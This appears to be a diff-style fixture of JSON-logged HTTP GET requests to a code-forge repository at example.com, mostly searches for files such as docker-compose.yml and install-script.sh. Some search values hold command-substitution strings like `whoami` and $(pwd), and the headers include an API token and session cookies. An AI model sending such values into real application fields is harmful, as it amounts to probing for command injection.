+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=.htaccess&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases?q=.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=docker-compose.yml&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases?q=docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=install-script.sh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases?q=install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=release%20notes&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases?q=release%20notes", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=release%20notes", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/actions/jobs/1/logs?q=release%20notes", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/feat/docker-support?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%2Fbin%2Fsh&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/api/v1/repos/alice/tools/releases?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
+{"method": "GET", "target": "/alice/tools/branches?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=.gitignore&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=.gitignore&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=docker-compose.yml&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=python3&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=ssh%20key&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=ssh%20key&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=feat%2Fdocker-support&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=feat%2Fdocker-support&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=ls%20-la&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=sed%20-i&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=sed%20-i&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%60make%20check%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%60make%20check%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%60whoami%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%60whoami%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=fetch%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=fetch%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24%7BVAR%7D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24%7BVAR%7D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24%28pwd%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24%28pwd%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=process.env&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
